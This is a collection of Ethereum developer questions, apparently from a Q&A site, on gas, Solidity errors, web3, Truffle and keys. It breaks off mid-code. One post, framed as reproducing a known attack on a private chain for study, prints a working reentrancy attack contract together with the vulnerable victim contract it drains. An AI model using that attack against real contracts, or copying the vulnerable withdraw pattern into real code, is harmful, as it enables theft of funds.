texts: How do I see how much gas a .call() transaction used in remix IDE connected to ganache-cli?

texts:
I've got remix connected to ganache-cli and I'm running some read-only transactions. I can't seem to figure out how to see how much gas those transactions used up?

Any help would be great thanks!


texts: Why send ether to 0x0 if user accidentally sends to contract?

texts: I recently saw a fallback function, send ether to 0x0, if a user sends money to it accidentally. Is there a reason to send it to 0x0 and not just keep it in the contract itself?


texts: Why the amount of private key is more than that of public address?

texts:
See:the amount of private key is 16^64,the amount of public address is 16^40,so the amount of private key is way more than that of public address.
But one private key can only generate one public address,so why is this?Correct me if I'm wrong,thanks guys!


texts: How do I call a Contract function from a required Account

texts:
I am using geth on a private chain. I have a Solidity function on a contract as follows:

function check()  public constant returns (string) {

    // if caller is not who it should be don't do anything
    if ( msg.sender != expectedSender )
                return;

    // if caller is expected return some information
    return someInformation;

}

I have the contract deployed and instantiated and call the method at the geth console like:

myContract.check();

I get an empty string , "", back when I make this call from the geth console.  I unlocked an account with personal.unlockAccount() using the account expected for "expectedSender" but the msg.sender test still does not work.

Should this have worked? How do I make sure I call this function in the context of the correct account?


texts:
I am building a blockchain game where users can update their character's appearance. This is done by calling a function called updateAppearance in smart contract.
I want to show latest version of that token in my website. For example, if user changes hair of his/her character, I want to change metadata by changing tokenURI.
My best guess is, calculate an string or byte according to current appearance of character and change tokenURI to baseURI + string. But problem with this approach is, I have to upload every single possibility to my server (or IPFS) and for me this is probably not the best way of doing this.
Another thing that comes to my mind is sending request to my server from blockchain (not possible without oracles) but I don't know anything about oracles and I think this approach is bit too complicated for this kind of project.
What would be better approach for this, how should I store metadata in my server?
Edit: I checked CryptoZombies project (awesome btw), they store Zombie's DNA with an integer. Maybe I can store character's appearance and point tokenURI to that DNA string I calculated. Then in my server (ExpressJS), I can dynamically generate image data using that DNA.


texts: Can a simple sendTransaction be made to a smart contract?

texts:
I've often moved ETH around using geth using simple sendTransaction, with say 21 000 gas or 30 000 gas and never had any issue.

For example the following basically always worked for me (there's 30 K gas):

  eth.sendTransaction({from:eth.accounts[0],to:"0x....",value:web3.toWei(50,"ether"),gas:30000})

However today I participated in an ICO that stated two things which I find extremely confusing:

"We’ve spent a lot of time perfecting the TKN smart contracts and you are only required to send your ETH or token contribution. No further action or ABI is needed."
"Set the gas limit at 200,000"

I take it I've got only one question, but which can be formulated differently, so here we go..

If all I'm required to do is sent tokens to an address, why then is a 200 K gas limit needed?

Can the same sendTransaction call that is I'm using to move ETH between simple address be used to sent from a simple address to a smart contract?

Doesn't a sendTransaction to a smart contract's address just raise the balance of that address?  What additional code is executed that is not executed in the case of a sendTransaction to a non-smart-contract address?


texts: Why is string getter returning an empty response?

texts:
This is a sequence of another question I asked.

I have the following contract

contract User {
    string publicKey;

    function setPublicKey(string _publicKey)
        onlyOwner
    {
        publicKey = _publicKey;
    }

    function getPublicKey() returns (string _publicKey) {
        return publicKey;
    }

}

I have set the string to be

5030480389847504049639477069961901518251822532055915812015454717740961852942027334498786032153069913846973579859702642411497486328669598344496363306620763652362226170692287240855050713537819594000868803228735504934019483458523068727831434237837325563417285328158635879852481735301070609988900677951635437637299660610442447448957534545817

I called the setPublicKey() method with the string value and got back the transaction hash 0x789894f0b5a85cc45e317cb51af27a4d28858e3b64c64ee00118f4543d7a5de7 (it's a private chain).

I then called getPublicKey() but just got back an empty reply. Why does this happen?

This seems to be pretty basic but I've googled and checked here and didn't find any information that could answer it.

EDIT: Adding getPublicKey() function

// Example calling function
function getPublicKey(publicAddress, contractAddress, contractName) {
    // Get the contract code from contracts
    const input = fs.readFileSync('contracts/' + contractName + '.sol').toString();
    const output = solc.compile(input);
    // The trailing ':' is needed otherwise it crashes
    const bytecode = output.contracts[':' + contractName].bytecode;
    const abi = JSON.parse(output.contracts[':' + contractName].interface);
    const contract = web3.eth.contract(abi).at(contractAddress);
    contract.getPublicKey.call((err, res) => {
        if (err) {
            console.log(err);
        } else {
            console.log("Public Key is ");
            console.log(res);
        }
    })
}

It's a function in my node app.


texts: Why is s in transaction signature limited to n/2+1

texts:
In the Yellow paper, appendix F "Signing Transactions", it says a valid signature must satisfy:
(281)       0 < s < secp256k1n ÷ 2 + 1

However, in both the cited paper here (ECDSA SIGNATURE VERIFICATION heading) and
wikipedia, it is said that r and s must be verified to be in [1, n-1], which is understandable given that they are results of a modulo n operation.
So why does Ethereum restrict s to only half of its usual range?
And how should a wallet proceed if a signature it generates contains an invalid s as per the paper? Generating a new one with different k?

Edit 1: Not Duplicate clarification
I honestly can't see how this question is a duplicate of the linked question, but here goes:

This question is about s in the signature triplet (v, r, s), while the linked question is about v, specifically the recovery id contained in v

This question is about a validity check of s, which is more restrictive than original ECDSA scheme, whereas the linked question doesn't even have any mention about such check in both the question and accepted answer. In fact, the validity check in question requires s < n/2 + 1, while the linked question's answer provided a sample code of how to produce recovery id in the case s > n/2 (quoted below), which suggests the validity check in question does not apply, because otherwise such code would be pointless.

if (s > curve.n / 2) id = id ^ 1; // Invert id if s of signature is over half the n


texts: msg.sender vs tx.origin on ERC-20 token contract

texts:
When using contract calls with an ERC-20 token things get messy. Let me explain:

There are 3 scenarios for token transfers:

1.- User A sends tokens to User B

2.- An ICO contract sends tokens to a buyer

3.- An asset contract sends buyer's tokens to an asset seller

By using the ERC-20 token transfer() method cases 1 and 2 are covered.

function transfer(address _to, uint256 _amount) public returns (bool success) {
    ...
    balances[msg.sender] -= _amount;
    balances[_to] += _amount;
    ...
}

Being msg.sender, User A (case #1) and ICO contract (case #2) the tokens are transferred successfully.

But transfer() method cannot solve case #3, because msg.sender is not the user (having tokens) that sends the transaction, but the asset contract (having no tokens) acting as middle-man.

This third case requires the use of tx.origin instead of msg.sender, so the tokens would came from the user that originates the transaction.

Any idea how to solve the 3 cases preserving the ERC-20 transfer method as unique? Thx!

Refs.:

What's the difference between 'msg.sender' and 'tx.origin'?
Specify sender between contract calls
Overriding ERC-20 methods


texts:
function transferToAddress(address _to, uint _value, bytes memory _data) internal returns (bool success) {
        require (_to != msg.sender && _to != address(0));
        uint fee = calculateFee(_value);
        require (_value > 0);
        require (balances[msg.sender] >= _value);
        require (balances[_to].add(_value) >= balances[_to]);
        uint sendAmount = _value.sub(fee);
        balances[msg.sender] = balances[msg.sender].sub(_value);
        balances[_to] = balances[_to].add(sendAmount);
        if (fee > 0) {
            balances[owner] = balances[owner].add(fee);
            emit Transfer(msg.sender, owner, fee,_data);
        }
        holderIsExist(_to);
        emit Transfer(msg.sender, _to, _value, _data);
        emit Transfer(msg.sender, _to, _value);
        return true;
    }

function calculateFee(uint _amount)public view returns(uint){
            uint fee = (_amount.mul(basisPointsRate)).div(1000);
            if (fee > maximumFee) {
                    fee = maximumFee;
            }
            if (fee < minimumFee) {
                fee = minimumFee;
            }
            return fee;
        }


texts: I accidently sent ETH to the contract address instead of the funding address

texts:
I'm hoping for reassurance that my ETH is not lost. I attempted to contribute to an ICO but instead of sending the ETH to the contribution address, I sent it to the contract which all the contributions were eventually sent to from the contribution address.

The tx hash is
0x7a3fb9d8fc2e18d702f4ea236ec3793a5aa7f9389020295a71cdbb973b870bda

I sent the ether to contract 0x05A9aFD79a05C3e1AFEFa282Ef8d58F9366B160B

Instead of the contribution address 0xe3818504c1B32bF1557b16C238B2E01Fd3149C17

Thank you all in advance.


texts: Is there a way to format/beautify the code in the Remix IDE?


texts: If I pass an enum as a parameter does it get stored in the blockchain?

texts:
I'm developing a Rock/Paper/Scissors Smart Contract (with a Commit-Reveal scheme).
I have this enum: enum Move {rock, paper, scissors}
I want to pass it to a function, without storing it to the blockchain.
I tried this:
// Contract deployer is Player 1
constructor(Move memory move) payable {
    require(msg.value > 0, "Player 1 must bet a positive amount.");
    bytes32 hashedMove = keccak256(abi.encodePacked(move));
    emit MoveCommit(msg.sender, hashedMove);
}

But constructor(Move memory move) throws "data location can only be specified for array, struct or mapping types".
So I have to do this:
// Contract deployer is Player 1
constructor(Move move) payable {
    require(msg.value > 0, "Player 1 must bet a positive amount.");
    bytes32 hashedMove = keccak256(abi.encodePacked(move));
    emit MoveCommit(msg.sender, hashedMove);
}

Will this store the chosen move in the Blockchain and ruin my Commit-Reveal scheme?


texts: What is the maximum input value for function uint256 parameter?

texts:
folks!

I am new to Solidity, and have a question, that may sound silly, but I can't really figure it out. So, I have this simple function:

function uintTest(uint256 n) returns (uint256) {
        return n;
    }

I thought, the max value for uint256 is 2**256, however, the function does not work for input numbers that have more than 16 digits, and in Remix, throws an "assertion failed" error. I can't understand why.


texts: A sweeper bot knows one of my ETH private key. What should I do?

texts:
I had a private key which I accidentally pasted on a group instead of pasting it on my notes (yeah it was dumb). Fortunately, I expected someone managed to save it even though I deleted it in an instant so I never used it.
But I tried putting an amount 0.0001 ETH and it was automatically sent to a burn address as a fee.
Is there a way to cancel the sweeper bot? Or a way to encrypt an existing ETH Priv key, with a password like bip38 in bitcoin?


texts: How much does it cost to store each IPFS hash in Ethereum blockchain

texts:
I've looked in some of the resource on calculating the Gas costs like this spreadsheet I found on this thread. But the spreadsheet only have computations gas costs but not storing of hashing.
I'm a bit confuse, the way to store IPFS hash in the blockchain contract is also a bit different based on this thread. I thought it would be straight forward as having to store strings or bytes but it needs to be in Struct?
Can anyone assist me. * sorry im still new in smart contract programming


texts: lvalue expected when modifying an object

texts:
Why does modifying an object's property cause an lvalue error when those only apply to arrays/mappings?

contract Parent {
  mapping (address=>Child) public childObjects;

  function modify(address grantee, address newGrantee) external {
    Child child = childObjects[address(grantee)];
    child.grantee = address(newGrantee); // Error: Expression has to be an lvalue

    delete childObjects[address(grantee)];
    childObjects[address(newGrantee)] = child;
  }
}

contract Child {
    address public grantee;
    // This is a full object with functions and code
}

Things attempted:

Adding storage wherever possible, but it doesn't make sense here as I'm not modifying an array or similar object. Well I am but the error occurs before then.
Changing modify from external to public

Is child just a pointer to the mapping? How would I specify storage in this case?


texts:
Is there an easy way in the Geth console to see the current numbers of blocks in existence?

Same as "best block" at ethstats.net.

I tried admin.chainSyncStatus but it just returns 'undefined'


texts: React/Truffle: How to call a function with passing a variable?

texts:
I have a React component within which a web3js function queries numbers from Ethereum by using getNumber() function.

I want to call another function called setNumber() that takes one uint256, by passing to it the output that I'm getting from getNumber(). What would be the best way to do that in Truffle/React?


texts: Deployed contract address in Truffle does not match Ganache

texts:
I have truffle set up with Ganache. I am running tests on my solidity contract that involve sending ether to the contract and withdrawing it from the contract. Funny thing is my tests are PASSING, but when I look, none of the transactions are going to or coming from the actual address of my deployed contract as shown in Ganache.
The ACCOUNTS in Ganache are having their balances deducted or added to as one would expect, but when looking at the transactions, the contract the tests are interacting with is an address that doesn’t seem to exist. For example, on one deployment the contract address in Ganache was: 0x683EB77121Ab6A40cAE6BD78001E5eD95dbC8872 but the mystery contract address was: 0xe0107F0a6210A7200636F3D15Ee0a3741Fe815F6
Any idea how to resolve this?
 Here is the code of my test file:
const CoinFlip = artifacts.require("CoinFlip");
const truffleAssert = require('truffle-assertions');

contract("CoinFlip", async function(accounts) {

  it("should make sure the bet is not less than 0.1 ether", async function(){
    let instance = await CoinFlip.deployed();
    await truffleAssert.fails(instance.bet(0, {from: accounts[1], value: web3.utils.toWei("1000000000000000", "wei")}),
    truffleAssert.ErrorType.REVERT);
  });

  it("should make sure the bet is not more than 10 ether", async function(){
    let instance = await CoinFlip.deployed();
    await truffleAssert.fails(instance.bet(0, {from: accounts[1], value: web3.utils.toWei("11", "ether")}),
    truffleAssert.ErrorType.REVERT);
  });

  it("should reject a bet if not enough in contract to cover it", async function(){
    let instance = await CoinFlip.deployed();
    await truffleAssert.fails(instance.bet(0, {from: accounts[1], value: web3.utils.toWei("2", "ether")}),
    truffleAssert.ErrorType.REVERT);
  });

  it("should accept a bet if there is enough in contract to cover it", async function(){
    let instance = await CoinFlip.deployed();
    console.log(instance.address);
    console.log(CoinFlip.address);
    await web3.eth.sendTransaction({from: accounts[0], to: instance.address, value: web3.utils.toWei("15", "ether")});
    await truffleAssert.passes(instance.bet(0, {from: accounts[1], value: web3.utils.toWei("2", "ether")}),
    truffleAssert.ErrorType.REVERT);
  });

});


texts: How to do RSA signature verification based on eip-198

texts:
based on EIP-198 and a question asked here After EIP 198 introduction, how much gas is required for RSA signature verification in solidity? it should now be possible to do RSA signature verification in Ethereum.

I want to do that on a private chain within a smart contract. Sadly I can't find any more details on how to implement that, besides the EIP description.

Is there an example contract available somewhere or a blog post which explains how to use EIP198 to achieve rsa signature verification within solidity?

If someone could point me to a description with more solidity-related details than https://github.com/ethereum/EIPs/blob/master/EIPS/eip-198.md would be highly appreciated, I can't find anything other than the EIP itself.


texts: How can I tell if the node I am using is exposing the Parity trace methods?

texts:
What is the best way to tell if the node I am using is exposing the Parity trace methods?

One way I know if is to call a contract on Kovan and look for a revert reason that says to expose the trace methods, but this requires an RPC call and is not explicit (the call may fail for other reasons). Additionally, different clients (geth, party, etc.) return error messages, so this is not reliable. Is there a way to do this explicitly and/or without making an RPC call?


texts:
I am creating a contract such that for every wallet owner there is a "special" set of tokens that he can send to other wallets in unlimited quantifies (even if having zero or little of this token on his own account).

How is this operation (of tokens appearing of nowhere) called? Is it "minting"?

But doesn't minting mean tokens to appear on my own account? I instead send tokens to somebody's other account. So is it indeed minting?

What could be a suitable method name in this operation? Are mint or mintFor good names for this method? If not, give ideas how to call it.


texts:
I've been reading a bit about Casper, but I couldn't find anything recent nor any technical details about it.

I know the protocol is not finished but is there any information about it? I mean more than just a high level overview as one can read in the "Introducing Casper" post on the blog

Also I was wondering if they were still working on Slasher or if it had been completely forsaken?


texts: How to judge whether a reentrancy attack is successful when reproducing the attack in private chain with Remix?

texts:
I reproduce the attack using the same codes successfully in Javascript VM of Remix, there are events in logs. But when I reproduce it in private chain, there are nothing. I cannot judge whether the attack is successful.
Victim and attack Codes:
pragma solidity ^0.4.10;

contract IDMoney {
    address owner;
    mapping (address => uint256) balances;

    event withdrawLog(address, uint256);

    function IDMoney() { owner = msg.sender; }
    function deposit() payable { balances[msg.sender] += msg.value; }
    function withdraw(address to, uint256 amount) {
        require(balances[msg.sender] > amount);
        require(this.balance > amount);

        withdrawLog(to, amount);  // print logs

        to.call.value(amount)();
        balances[msg.sender] -= amount;
    }
    function balanceOf() returns (uint256) { return balances[msg.sender]; }
    function balanceOf(address addr) returns (uint256) { return balances[addr]; }
}

contract Attack {
    address owner;
    address victim;

    modifier ownerOnly { require(owner == msg.sender); _; }

    function Attack() payable { owner = msg.sender; }

    function setVictim(address target) ownerOnly { victim = target; }

    // deposit Ether to IDMoney deployed
    function step1(uint256 amount) ownerOnly payable {
        if (this.balance > amount) {
            victim.call.value(amount)(bytes4(keccak256("deposit()")));
        }
    }
    // withdraw Ether from IDMoney deployed
    function step2(uint256 amount) ownerOnly {
        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack() ownerOnly {
        selfdestruct(owner);
    }

    function startAttack(uint256 amount) ownerOnly {
        step1(amount);
        step2(amount / 2);
    }

    function () payable {
        if (msg.sender == victim) {
            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
        }
    }
}

while the transaction in remix is as following:

I think the whole attack process is correct, because i reproduce it successfully in local environment of Remix.


texts: gas estimation about tests on Ganache forked mainnet

texts:
I come up with this solution with gas estimation. Could someone help check whether it is feasible?

If we want to send a transaction,
first, we just fork the newest mainnet blockchain using ganache-cli fork.
Then we send the transaction to local forked chain with intended input, and we can get the gasUsed after this transaction succeeds.

Is this gasUsed the same as the cost for trans sent to mainnet?

The link below found they are different. But do someone know why this happens? Or what the difference between forked mainnet with actual mainnet?

  Blockquote


texts: How to calculate average gas price of several blocks?

texts:
I want to calculate average gas price of several blocks (in Gwei), however I don't see how a field on blocks for gasPrice. Do I have to calculate it by grabbing the gasPrice of each transaction in each block and finding the average that way?

Also how would I calculate average block size (in mgas)?


texts: "Correct" chain in en very small blockchain

texts:
First, this question may have been partly answered here but what I will ask is very specific.

I have a chain with 3 nodes (A, B and C), all are mining.

A mines the block 1000 and synchronizes with C but not with B.
B ALSO mines the block 1000 and synchronizes with C but not with A.
They mine this block at the very same time.

A and B have the exact same chain from block 0 to block 999.

  How will react C? How can it determine what block is the correct one? (as the chain is the exact same length for both A and B)

EDIT: The possible duplicate is true, but the accepted answer is also valid, even though it is not going into the details, for those interested, go THERE


texts: Can I use Ethereum's Whisper protocol to transfer files?

texts:
Here is an code example:

shh.post({
  "from": myIdentity,
  "topic": [ web3.fromAscii(appName) ],
  "payload": [ web3.fromAscii(myName), web3.fromAscii("What is your name?") ],
  "ttl": 100,
  "priority": 1000
});

What stops us from putting files in the payload i.e., large base64 encoded or hexadecimal string?


texts: Node version upgrade for contract deployment throws error

texts:
I wrote a solidity contract using version 0.4.24 using OpenZeppline-solidity version 1.12.0. This used to deploy using the Nodejs version 8.12. The Nodejs version 8 is no longer being maintained from Jan 2020, so I updated it to 12.18.3 LTS. Now the deployment throws the following error.
truffle deploy --network development

throws

RangeError: Maximum call stack size exceeded
Truffle v5.1.39 (core: 5.1.39)
Node v12.18.3
truffle-config.js
...
compilers: {
    solc: {
      version: "0.4.24",
      settings: {
       optimizer: {
         enabled: true,
         runs: 200
       }
      }
    }
  }
}

Node.js versions are mostly backward compatible, meaning that code you wrote for Node 8 will work on Node 10 or 12.
package.json dependencies
...
"dependencies": {
    "openzeppelin-solidity": "^1.12.0",
    "@truffle/hdwallet-provider": "^1.0.42",
    "retry": "^0.12.0",
    "solc": "^0.4.24",
    "truffle": "^5.1.39",
    "web3": "^1.2.11"
  }


texts: How a contract stored in the blockchain?

texts:
I am very wondering how the contract code stored in the blockchain? I think the blockchain only contain a group of transactions and some meta data. Am I wrong?

Thanks


texts: Getting input from user form - simple storage of strings

texts:
I am new to the solidity/dapp game, but I'm learning.

Here is some super simple code for a smart contract that I'd like to use to store user input strings from a webform and store those responses on the blockchain so they can be queried later:

pragma solidity ^0.4.0;

contract simpleStorage {
string name;
string email;

function simpleStorage() public {
   name = "Hello";
   email = "hi@gmail.com";
}

function setInfo(string userName, string userEmail) public {
    name = userName;
    email = userEmail;
}

function getInfo() constant returns (string, string){
    return (name, email);
}
}

Right now I'm trying to figure out how to a) accept string user input, convert to JS/JSON readable format with double quotes and b) set up the web form to work with this contract and my private geth network


texts: Potential values of `this` in functions accessible only by owner

texts:
Background

I am just learning solidity and am getting confused by certain applications of the  this keyword in functions. The general form of the functions that confuse me is below and the onlyowner modifier only allows the owner of the contract to call the function:

func myfunc() onlyowner {
    ...
    this.balance
    ...
}

Question

Can this.balance only reference the owner's address's balance?
Or can the owner call this function and references another party's
address (IE: this == other party's address)?
If yes can they do so selectively or only for all addresses
associated with the contract?


texts:
I have several questions regarding contract abstraction

contract A {
    address owner;
    uint randomVariable;

    function A(uint _randomVariable) {
        owner = msg.sender;
        randomVariable = _randomVariable;
    }
}
contract B is A {
    address owner;
    uint randomVariable2;

    function B(uint _randomVariable2) {
        owner = msg.sender;
        randomVariable2 = _randomVariable2;
    }

    function changeOwner(address _newOwner) {
        owner = _newOwner;
    }
}

1 how does this exactly work? In the end A and B are the same Contract called B right? Because they get deployed at the same address right?

2 How are the variables treated in this contract? we have two variables called owner which get set to the same address. is this the same variable? what happens if we change the owner in contract B

3 how does the call of the constructor behave? When I create the contract, do I call the constructor seperately or is it merged and I have to pass the first and second random variable?


texts: Contract.methods.transfer is a not a function error using web3

texts:
Running something simple as this:

Contract = new web3.eth.Contract(this.contractABI, this.contractAddress)
Contract.methods.transfer(toAccount.address, transfferAmount).encodeABI()

Gives me following error:

ERROR TypeError: _this.tokenContract.methods.transfer is not a function

What could I be doing wrong? I have showed the Contract variable on the console, and it in fact does not have "transfer" in its methods property.


texts: Why do I get VM Exception while processing transaction: revert?

texts:
I'm trying to call a function from a contract I've created on ganache-cli through a javascript on a website.

Here's the code of the java script:

web3.eth.defaultAccount=web3.eth.accounts[0];
var poe = web3.eth.contract(abi).at('0xc678e3c394db9408503195e506088803eef583b6');
console.log(poe.address);
poe.notarize2(result);

This results in a revert. However, when I execute the same function directly in truffle with the same values, no problem whatsoever.

Here's the contract code:

contract ProofOfExistence1 {

  mapping (bytes32 => bool) private proofs;
  // store a proof of existence in the contract state
  function storeProof(bytes32 proof) {
    proofs[proof] = true;
  }

  // calculate and store the proof for a document
  function notarize(string document) {
    var proof = proofFor(document);
    storeProof(proof);
  }

  function notarize2(string document) {
    bytes32 doc= stringToBytes32(document);
    storeProof(doc);
  }

  // helper function to get a document's sha256
  function proofFor(string document) constant returns (bytes32) {
    return sha256(document);
  }

  // check if a document has been notarized
  function checkDocument(string document) constant returns (bool) {
    var proof = stringToBytes32(document);
    return hasProof(proof);
  }

  // returns true if proof is stored
  function hasProof(bytes32 proof) constant returns(bool) {
    return proofs[proof];
  }

  function stringToBytes32(string memory source) constant returns (bytes32 result) {
    bytes memory tempEmptyStringTest = bytes(source);
    if (tempEmptyStringTest.length == 0) {
        return 0x0;
    }

    assembly {
        result := mload(add(source, 32))
    }
}
}


texts: A bit confused. How do I send ether using Web3j to an address (Android)

texts:
EDIT: I am using android platform

I think I'm a bit confused conceptually.  I would appreciate it if someone could answer these few questions for me as I'm trying to make an app so that I can be clear on exactly what's going on here.  I'm trying to read and decipher the documentation at the same time.

-I have generated my address and private key using web3j ECKeyPair class

Now I need to be able to send that ether to an address using that data and I'm not sure how I'm supposed to go about doing it

I think I'm supposed to use something called a rawtransaction but again my understanding is hazy
I would also like to be able to encrypt my private key however I saw that it encrypts the data into a keystore file.  Is there any way to clear out the unneccesary data here as I'm only trying to encrypt the private key using a password.

If a more knowledgeable member than myself could clear up the steps involved in "signing a transaction" so that ether can be sent from one address to another, you'd be a huge help to my design project.

I also don't understand how transactions can be signed offline as I thought the point in signing a transaction was so it could be verified by the network

Thank you.


texts: What to do if the private key was compromised?

texts: A hacker has entered my account. When I get some payment, it sends to another in 30 seconds. I need to get my tokens out of this wallet.. Is there any way? Is there any way I can change the private key? Or put some kind of password in the private key? I used this address for work I have many tokens in it.


texts: watch event for each iteration in forloop - Contract Function

texts:
I have a contract function in private network with a for loop and emitting event inside the loop. Following is the code :

pragma solidity ^0.4.20;

contract Eventsloop{

event loopidx(uint idx,uint jdx);

function watcheventloop() public payable returns(bool){

    for(uint j =0;j<5;j++){

    for(uint i=0;i<20;i++){

         emit loopidx(i,j);

    }
  }
}

}

JS:

const Web3 = require('web3');
web3 = new Web3(new Web3.providers.HttpProvider("http://127.0.0.1:8545"));
const abidata = //abidata;

var deployedContract = new web3.eth.Contract(abidata,contractaddress,{
defaultAccount: account, // default from address
defaultGasPrice: '100000000000'
});

deployedContract.methods.watcheventloop().send({from:account,gas: 400000000})
.on('receipt',(receipt)=>{
console.log("Tx complted"+JSON.stringify(receipt))
}).catch(function(e){
console.log("ERror "+JSON.stringify(e))
})

deployedContract.events.loopidx({
fromBlock:58619,
toBlock:'latest'
}).on('data',event => {
console.log('new event ',event)//for each iteration an action should occur.
}).on('error', error =>{
console.log("Error ",error);
})

Is it possible to watch event in each iteration,so that some action could be done based on emitted values(i,j).

When tested with single looping,I was getting event log of all iteration together(iteration can go up to 500) and will be difficult to handle as another loop has to be written to fetch values from event logs in JS file. Is there any method for each iteration in contract, some action could be triggered in JS file?

Based on my requirements I need double looping but, watching event stopped in between with an error as follows:

  Error: Subscriptions are not supported with the HttpProvider

However, transaction receipt of function_call displayed all eventlogs.

So then I updated code with

web3 = new Web3()
const web3 = new Web3(new Web3.providers.WebsocketProvider('http://127.0.0.1:8545'));

and got another error :

{"type":"error","isTrusted":false,"_yaeti":true,"target":{"_listeners":{"message":[null],"open":[null,null],"close":[null],"error":[null]},"_url":"http://127.0.0.1:8545","_readyState":3,"_extensions":"","_bufferedAmount":0,"_binaryType":"arraybuffer","_client":{"domain":null,"_events":{},"_eventsCount":0,"config":{"maxReceivedFrameSize":1048576,"maxReceivedMessageSize":8388608,"fragmentOutgoingMessages":true,"fragmentationThreshold":16384,"webSocketVersion":13,"assembleFragments":true,"disableNagleAlgorithm":true,"closeTimeout":5000,"tlsOptions":{}},"_req":null,"protocols":[],"origin":null,"url":{"protocol":"http:","slashes":true,"auth":null,"host":"127.0.0.1:8545","port":"8545","hostname":"127.0.0.1","hash":null,"search":null,"query":null,"pathname":"/","path":"/","href":"http://127.0.0.1:8545/"},"secure":false,"base64nonce":"fS/r0k1e2t5EisMDqV2Pjw=="}},"cancelable":true}

Help will be appreciated :)


texts: is it possible for a Ethereum miner to select transaction for processing based on from or to address?

texts: It is commonly written everywhere that Ethereum miner selects transaction based on higher gas price first, so I want to know is it possible for minter to select transaction to process based on from/to address instead of higher price ?


texts: Storage pattern for getting only active items in an array

texts:
I'm developing a contract that stores multiple Games between two players.

struct Game {
  address player1;
  address player2;
  bool complete;
}

Game[] public games;

I would like to add functionality for the contract to randomly-ish assign player2 to a Game that is not yet complete.

function joinGame(bytes32 _commitment) public payable {
  uint256 gameId = notReallyRandomButBetterThanNothing(games.length);

  Game storage game = games[gameId];

  game.player2 = msg.sender;
}

function notReallyRandomButBetterThanNothing(uint256 _max) internal
  pure returns(uint256) {

  return uint256(keccak256(block.timestamp)) % _max + 1;
}

In the example above, this will get a gameId to point to an index in the games array, but the issue is that that game might be complete.

I do not want to delete indexes from the games array when the game is complete because it will leave gaps and I do not want to shift and delete indexes because this will screw up the gameIds for other games in the array.

I also do not want to loop through the games array looking for a complete game because this could become costly.

What is the recommended storage pattern to deal with items that could be active or inactive?


texts: how to write script to send any incoming eth from my child wallet to parent wallet automatically and have no idea where can put that script mean the program should use and steps should follow


texts: Recovering of typed signature fails because it's too long

texts:
I have a typed signature generated by EIP712 V3. It is 132 characters long. I'm trying to recover it using recoverTypedSignature from eth-sig-util. This fails saying:

index.js:1 Error: Invalid signature length

because it relies on ethereumjs-util's fromRpcSig:

fromRpcSig = function (sig) {
  sig = exports.toBuffer(sig);

  // NOTE: with potential introduction of chainId this might need to be updated
  if (sig.length !== 65) {
    throw new Error('Invalid signature length');
  }

How can I recover the signature? Do I need to convert the 132 characters to 65 somehow?


texts: Why you need Metamask (and not to use a CDN or dependecy lib)?

texts:
These days I'm asking myself why can't you inject web3 with dependency libraries or CDNs? Why yo need a browser plugin? I cannot understand it.

Thanks


texts:
what does/should msg.sender.balance return when used inside contract?

Assume we have contract A, calling B, which is calling C.
 msg.sender is propagated with the calls down to B and C
 The user is making just a single transaction i.e. no reordering is possible and no other transactions/expenses in the same block except the gas for this transaction ...

So what is the value for each of the contracts:

Is it the initial balance before the call i.e. as in the previous block
Is it the balance after the call i.e. after the full gas for all 3 contracts/calls is paid
Is it the current amount i.e. initial balance - the gas used so far
It depends on the miner code (geth, parity or ganache)


texts: Is it possible to identify a smart contract if you know the byte code of it?

texts:
I am currently writing a master thesis about Ethereum. In the thesis, I develop a system to send data and do calculations with data on the ethereum blockchain with a smart contract. The system I am making consists of three actors. A data generator, an actor that receives ethereum based on the data and a third party purchasing the data made by the data generator. The data generator sends data to a smart contract deployed by the actor that receives ethereum based on the data. I want to protect this data so that the third party cannot get hold of the data that is sent to the smart contract. Encrypting the data before sending it to the smart contract is not possible, because the contract would have to decrypt the data to send ether based on the data. At the same time, I want to hide the data from the third party.

This a model of the system:

It is important that the third party cannot look up transactions and find the data sent to the smart contract easily.

Can a third party, use the smart contract once, acquire the byte code of the contract, and do a lookup on the blockchain to find contract address, to then lookup all transactions made to and from the contract?

And after that acquire all the data sent to the smart contract?
Is there another way to acquire the data sent to the smart contract?


texts: How can I create a contract with a default value

texts:
I'm working on a marketplace, and want to instantiate an "Order" contract. The order needs to have a minimum value to be valid (for example an order of a $5 toy needs to have $5 of ether to be valid).

How can I instantiate a contract with a default value. The following is my attempt

new Order(buyer).value(msg.value)

Which gives me the error

Member "value" not found or not visible after argument-dependent lookup in contract Order


texts: How to ERC721 token using external contract to msg.sender?

texts:
I have Caller and ERC721 contract just like this :

contract SampleToken is ERC721MetadataMintable {
    string private name;
    string private symbol;
    constructor (address _creator, string _name, string _symbol, string _tokenURI)
    ERC721MetadataMintable()
    ERC721Metadata(_name, _symbol) public {
        uint256 _tokenId = 0;
        mintWithTokenURI(_creator, _tokenId, _tokenURI);
    }
}

and I want this Caller to be able to transfer the NFT to the person who is msg.sender. Caller behave like factory contract of FRC721 contract.

contract Caller {
    mapping(uint256 => address) public ERC721Address;
    using Address for address;
    bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;

    struct ERCs {
        address owner;
    }

    ERCs[] public ercs;

    function create(
        string _name,
        string _symbol,
        string _tokenURI
    ) public returns(bool) {
        ERCs memory _ercs = ERCs({
            owner: msg.sender
        });
        uint256 contractId = ercs.push(_ercs) -1;
        ERC721Address[contractId] = new SampleToken(msg.sender, _name, _symbol, _tokenURI);
        return true;
    }

    function tokenTransferTo(
        address _to,
        uint256 _contractId,
        uint256 _tokenId,
        bytes _data
    ) public {
        require(msg.sender == ownerAddress(_contractId, _tokenId), "You do not have a right to mint token.");
        SampleToken(ERC721Address[_contractId]).setApprovalForAll(msg.sender, true);
        safeTransferFrom(msg.sender, _to, _contractId, _tokenId, _data);
    }

    function ownerAddress(uint256 _contractId, uint256 _tokenId) public view returns(address) {
        return SampleToken(ERC721Address[_contractId]).ownerOf(_tokenId);
    }

    function safeTransferFrom(
        address _from,
        address _to,
        uint256 _contractId,
        uint256 _tokenId,
        bytes _data
    ) public {
        SampleToken(ERC721Address[_contractId]).transferFrom(_from, _to, _tokenId);
        // solium-disable-next-line arg-overflow
        require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
    }

    function checkAndCallSafeTransfer(
        address _from,
        address _to,
        uint256 _tokenId,
        bytes _data
    ) internal returns (bool) {
        if (!_to.isContract()) {
          return true;
        }
